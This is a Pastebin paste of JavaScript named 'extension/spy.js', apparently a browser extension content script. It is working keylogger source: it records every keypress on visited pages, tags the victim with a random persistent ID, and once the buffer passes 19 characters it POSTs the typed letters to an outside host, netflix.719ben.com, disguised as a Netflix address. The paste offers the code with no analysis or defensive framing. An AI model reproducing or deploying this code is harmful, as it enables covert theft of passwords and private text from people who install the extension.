Advertisement
FlyFar

extension/spy.js

Aug 19th, 2023
674
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 1.18 KB | Cybersecurity | 0 0
  1. 'use strict'
  2.  
  3. document.onkeypress = (evt) => {
  4.   let letter = String.fromCharCode(evt.keyCode)
  5.   let userId = null
  6.  
  7.   window.chrome.storage.local.get('userId', (items) => {
  8.     userId = items.userId
  9.     if (userId === undefined) {
  10.       userId = getRandomToken()
  11.       window.chrome.storage.local.set({userId: userId})
  12.     }
  13.   })
  14.  
  15.   window.chrome.storage.local.get('letterArray', (items) => {
  16.     let letterArray = items.letterArray
  17.     if (letterArray === undefined) {
  18.       letterArray = ''
  19.     }
  20.  
  21.     letterArray += letter
  22.  
  23.     if (letterArray.length > 19) {
  24.       let xhr = new window.XMLHttpRequest()
  25.       xhr.open('POST', 'https://netflix.719ben.com', true)
  26.       xhr.setRequestHeader('Content-type',
  27.         'application/x-www-form-urlencoded')
  28.       xhr.send(`userId=${userId}&letters=${letterArray}`)
  29.       // clear the array
  30.       letterArray = ''
  31.     }
  32.     window.chrome.storage.local.set({letterArray: letterArray})
  33.   })
  34. }
  35.  
  36. const getRandomToken = () => {
  37.   let randomPool = new Uint8Array(32)
  38.   window.crypto.getRandomValues(randomPool)
  39.   let hex = ''
  40.   for (let i = 0; i < randomPool.length; ++i) {
  41.     hex += randomPool[i].toString(16)
  42.   }
  43.   return hex
  44. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement